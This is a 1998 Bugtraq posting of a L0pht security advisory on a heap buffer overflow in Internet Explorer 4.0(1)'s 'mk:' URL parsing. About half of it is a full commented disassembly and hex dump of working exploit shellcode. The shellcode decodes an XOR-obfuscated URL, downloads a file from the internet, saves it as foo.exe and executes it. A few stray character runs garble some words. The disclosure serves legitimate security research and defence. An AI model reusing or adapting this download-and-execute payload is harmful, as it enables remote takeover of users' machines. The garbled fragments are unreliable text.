|
Date: Wed, 14 Jan 1998 11:42:53 -0500 From: DilDog <dildog@L0PHT.COM> To: BUGTRAQ@NETSPACE.ORG Subject: L0pht Advisory MSIE4.0(1) Document: L0pht Security Advisory URL Origin: http://l0pht.com/advisories.html Release Date: January 14th, 1998 Application: Microsoft Internet Explorer 4.0(1) Suite Severity: Viewing remote HTML content can execute arbitrary native code Author: dildog@l0pht.com Operating Sys: Windows 95 and Windows NT ------------------------------------------------------------------------------- ======== Scenario ======== TAKE TWO! The Microsoft Internet Explorer 4.0(1) Suite, including all programs supplied with it that read and/or process HTML from either local machines, intranet machines, or remote internet machines are subject to a buffer overflow in the HTML decoding process. The buffer overflow can cause the application to page fault, or in the worst case, execute arbitrary precompiled native code. Unlike the res:// bug, found a few months ago, this bug _does_ affect Windows NT as well as Windows 95. It has also been reported that this bug affects Internet Explorer 3.0 if you have Visual Studio (VC++/J++ etc) installed on your system. Though this may be true, and if so, exploitable, there has not been exploit code written up for it. Currently, sample exploit code has been written for: Windows 95 OSR1 and OSR2 running IE4.0 or IE4.01 Systems known vulnerable: Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01 Windows NT Workstation/Server running IE4.0,IE4.01 ======= Example ======= Much like the res:// overflow, this bug can be seen in action by clicking on a link -or- having the browser auto-refresh to a URL with the executable code in the url. Please look at the L0pht Advisory homepage for this bug for a detailed example of the problem. ================= Technical Details ================= The problem here lies in the deciphering of the URL line format itself. The base HTML library that is used by the Internet Explorer 4.0 Suite and the following programs are vulnerable: - Outlook Exp ffb ress (both mail and news) - Windows Explorer - Internet Explorer (different than regular explorer, really) This problem, because it stems from a programming flaw in the HTML decoding system, is unaffected by the Explorer "Security Zones" feature. In other words, if you turn on the highest security level for the zone from where the exploit HTML is being viewed, you are still vulnerable. The critical problem here is a buffer overflow in the parsing of a particular new type of URL protocol. The "mk:" type of URL is meant to access proprietary Microsoft 'InfoViewer Topics', as exhibited by the InfoViewer of Visual Studio, and the Help System of IE4.0(1). For example, the URL for the Microsoft IE4.0 help system is: mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm The buffer overflow is not a standard stack overflow, but rather a _heap_ overflow. This complicated coding exploits, but is, nonetheless, do-able. ======== Solution ======== Currently, there is no solution available for this flaw. You can't set any Internet Explorer options to avoid it, and you are not protected by any level of zone security. Simply don't surf the web, read email or view net news using Internet Explorer 4.0(1) until Microsoft puts up a hotfix. ============ Exploit Code ============ Ok. This time, I'm going to assume you know something about stack overflows and writing generic buffer overflow scripts. If you're lost already, then the rest of this sure as hell ain't going to make any sense to you. The exploit code overflows a buffer on the heap, overwriting a few critical heap variables and, eventually leaving the EIP at a ridiculous point in the middle of URLMON.DLL ready to crash, unless you, bold coder, know what to stuff in those registers. Turns out that when you overflow that heap buffer, you can stuff a value right into EAX. This is important, because the critical code section that you reach looks like this: (URLMON!.text+) 014F:702A365E 8B08 MOV ECX,[EAX] 014F:702A3660 50 PUSH EAX 014F:702A3661 FF5108 CALL [ECX+08] (Incidentally, all the addresses here are for DLL's provided with IE4.01 not IE4.0. The code is similar for IE4.0. Just different offsets. Onward.) You need that CALL [ECX+08] to jump to something useful. The place where it jumps is to a location in URLMON.DLL (or was it MSHTML.DLL, I forget.) that has an instruction that looks like CALL ECX. To get the NULL bytes and things in the right places involves a little finagling of the string using %00, and the null-terminator of the URL. It's really fun. Trust me. After that CALL ECX happens, your EIP points to a piece of code that is in your exploit space. Then, just jump to the beginning of the exploit code and start having fun. I used CALL to save a byte. (Who cares about the stack now anyway? You've already blown it to hell.) Ok. Here's it. (Described in terms of IE4.01) Commented disassembly: (starting at mk:@ivt:cDc/...) > Skip over the jump tables 0057CC7C: 3BC0 cmp eax,eax 0057CC7E: 7468 je 00057CCE8 > blah blah blah 0057CC80: 90 nop 0057CC81: 90 nop 0057CC82: 90 nop > Jump tables start here for WININET.DLL functions > WinInet Function addresses: > > (dated 9/18/97) IE4.0 (dated 11/18/97) IE4.01 > InternetOpenA 0x702120B9 0x70211817 > InternetOpenUrlA 0x7021949F 0x70219345 > InternetCloseHandle 0x7020422B 0x7020422E > InternetReadFile 0x7020E2DC 0x7020E3C4 0057CC83: BFE9E7DE8F mov edi,08FDEE7E9 (InternetOpenA) 0057CC88: F7DF neg edi 0057CC8A: FFE7 jmp edi 0057CC8C: BFBB6CDE8F ffb mov edi,08FDE6CBB (InternetOpenUrlA) 0057CC91: F7DF neg edi 0057CC93: FFE7 jmp edi 0057CC95: BFD2BDDF8F mov edi,08FDFBDD2 (InternetCloseHandle) 0057CC9A: F7DF neg edi 0057CC9C: FFE7 jmp edi 0057CC9E: BF88C741E0 mov edi,0E041C788 (InternetReadFile) 0057CCA3: D1EF shr edi,1 0057CCA5: FFE7 jmp edi > End WININET Jump Table 0057CCA7: 90 nop > Start Kernel Offset Table for Win95 OSR 2 (no bad characters/nulls/otherwise!) > Win95B Function addresses: > > WinExec (0xBFF9D330) > _lopen (0xBFF773FB) > _lclose (0xBFF98283) > _lwrite (0xBFF9CDE8) > _lcreat (0xBFF9CDBE) > ExitProcess (0xBFF8AECD) > GlobalAlloc (0xBFF74904) 0057CCA8: 30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF 0057CCB8: BE CD F9 BF-CD AE F8 BF-04 49 F7 BF- > Start Kernel Offset Table for Win95 OSR 1 (no bad ones here either!) > Win95A Function addresses: > > WinExec (0xBFF9D330) > _lopen (0xBFF773FB) > _lclose (0xBFF98283) > _lwrite (0xBFF9CDE8) > _lcreat (0xBFF9CDBE) > ExitProcess (0xBFF8AECD) > GlobalAlloc (0xBFF74904) 0057CCC4: F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF 0057CCD4: 86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF- > blah blah blah 0057CCE4: 90 nop 0057CCE5: 90 nop 0057CCE6: 90 nop 0057CCE7: 90 nop 0057CCE8: 90 nop > check windows kernel version by querying random byte that happens to > be different in the two versions. Also, set up ESI to be a pointer to > the kernel offset table for the correct version. 0057CCE9: BB8BFFF7BF mov ebx,0BFF7FF8B 0057CCEE: 2AFF sub bh,bh 0057CCF0: 8BF5 mov esi,ebp 0057CCF2: B032 mov al,032 0057CCF4: 3803 cmp [ebx],al 0057CCF6: 750E jne 00057CD06 0057CCF8: 33C0 xor eax,eax 0057CCFA: B05F mov al,05F 0057CCFC: 90 nop 0057CCFD: 03F0 add esi,eax 0057CCFF: 720E jb 00057CD0F 0057CD01: 90 nop 0057CD02: 90 nop 0057CD03: 90 nop 0057CD04: 90 nop 0057CD05: 90 nop 0057CD06: 33C0 xor eax,eax 0057CD08: B07B mov al,07B 0057CD0A: 90 nop 0057CD0B: 03F0 add esi,eax 0057CD0D: 90 nop 0057CD0E: 90 nop 0057CD0F: 90 nop > ESI is now a pointer to the first function the the appropriate kernel > offset table. Now, we need to decode our 'data segment'. Do so, by XOR'ing > (ADD'ing) each byte of the data area with 0x80. This prevents people from > seeing what we're doing, as well as keeping out null characters and bad > stuff in the exploit string. 0057CD10: 33C9 xor ecx,ecx 0057CD12: 66B95D01 mov cx,0015D 0057CD16: 03CD add ecx,ebp 0057CD18: B238 mov dl,038 ;"8" 0057CD1A: 800180 add b,[ecx],080 ;"Ç 0057CD1D: 41 inc ecx 0057CD1E: 4A dec edx 0057CD1F: 75F9 jne 00057CD1A ---- 0057CD21: 90 nop 0057CD22: 90 nop > It becomes clear where we're going :) > Let's allocate some memory. 65535 bytes to be precise. 0057CD23: 66BAFFFF ffb mov dx,0FFFF ;"__" 0057CD27: 52 push edx 0057CD28: 33D2 xor edx,edx 0057CD2A: 52 push edx 0057CD2B: FF5618 call d,[esi][00018] 0057CD2E: 8BD8 mov ebx,eax > Ok. Now we go ahead and call InternetOpenA and keep that Internet handle > in EAX. Why do I call this function twice? I don't know. I was debugging > and I never took it out. NOP it if you want. I don't care. 0057CD30: 33D2 xor edx,edx 0057CD32: 52 push edx 0057CD33: 52 push edx 0057CD34: 52 push edx 0057CD35: 52 push edx 0057CD36: 90 nop 0057CD37: 6681C25D01 add dx,0015D 0057CD3C: 03D5 add edx,ebp 0057CD3E: 52 push edx 0057CD3F: E83FFFFFFF call 00057CC83 0057CD44: E83AFFFFFF call 00057CC83 > Now we call InternetOpenUrlA, getting us ready to download a file from > the net into that buffer we allocated 0057CD49: 33D2 xor edx,edx 0057CD4B: 52 push edx 0057CD4C: 52 push edx 0057CD4D: 6AFF push 0FF 0057CD4F: 52 push edx 0057CD50: 6681C26501 add dx,00165 0057CD55: 03D5 add edx,ebp 0057CD57: 52 push edx 0057CD58: 50 push eax 0057CD59: E82EFFFFFF call 00057CC8C > We then go ahead and call InternetReadFile, downloading 65535 bytes from the > net and into the buffer. 0057CD5E: 8BD5 mov edx,ebp 0057CD60: 83C230 add edx,030 0057CD63: 90 nop 0057CD64: 90 nop 0057CD65: 52 push edx 0057CD66: 2BC9 sub ecx,ecx 0057CD68: 6649 dec cx 0057CD6A: 51 push ecx 0057CD6B: 53 push ebx 0057CD6C: 50 push eax 0057CD6D: E82CFFFFFF call 00057CC9E > Call _lcreat, and make us a place to store what we downloaded. 0057CD72: 33D2 xor edx,edx 0057CD74: 52 push edx 0057CD75: 6681C25D01 add dx,0015D 0057CD7A: 03D5 add edx,ebp 0057CD7C: 52 push edx 0057CD7D: FF5610 call d,[esi][00010] > ok, call _lwrite and write the buffer to the file. 0057CD80: 8BD5 mov edx,ebp 0057CD82: 83C230 add edx,030 ;"0" 0057CD85: 8B12 mov edx,[edx] 0057CD87: 52 push edx 0057CD88: 53 push ebx 0057CD89: 50 push eax 0057CD8A: 8BD8 mov ebx,eax 0057CD8C: FF560C call d,[esi][0000C] > Close the file with _lclose. 0057CD8F: 53 push ebx 0057CD90: FF5608 call d,[esi][00008] > Now run what we downloaded by calling WinExec! 0057CD93: 33D2 xor edx,edx 0057CD95: 42 inc edx 0057CD96: 52 push edx 0057CD97: 6681C25C01 add dx,0015C 0057CD9C: 03D5 add edx,ebp 0057CD9E: 52 push edx 0057CD9F: FF16 call d,[esi] > And go ahead and kill the Internet Explorer process. It's pretty > bung'd out by now, and if we don't kill it, it will kill itself :) 0057CDA1: FF5614 call d,[esi][00014] > The rest of this is left a cec s an exercise to the reader, and is really only > worth about 5 minutes of staring at. (Though it took about 5 or so hours to > come up with!) Basically, you just gotta play around with your debugger > and work those registers. Be clever, and you'll get something like this: 0057CD98: - - -2D 2D E6 EF 0057CDA8: EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7 0057CDB8: AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4 0057CDC8: EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8 0057CDD8: E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D 0057CDE8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D 0057CDF8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26 0057CE08: 27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36 0057CE18: 37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85 0057CE28: 86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70 0057CE38: DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27 0057CE48: 72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20 0057CE58: 68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63 0057CE68: 65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D 0057CE78: 0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A 0057CE88: 0D 0A - - - > Phew! Anyway. The short and long of all that disassembly is this: 1. It downloads a <64K file from the internet (any URL) Using the current firewall and proxy settings... 2. It saves it as "foo.exe" on your desktop (probably) 3. It runs the executable. 4. To see which URL it is downloading, just XOR the tail end of the exploit string with 0x80's. Hope you caught all that. ------------------------------ A haiku: Strike two for I.E. Common buffer overflows Is that all of them? dildog@l0pht.com (01/13/97) ------------------------------------------------------------------------------- For more L0pht (that's L - zero - P - H - T) advisories check out: http://l0pht.com/advisories.html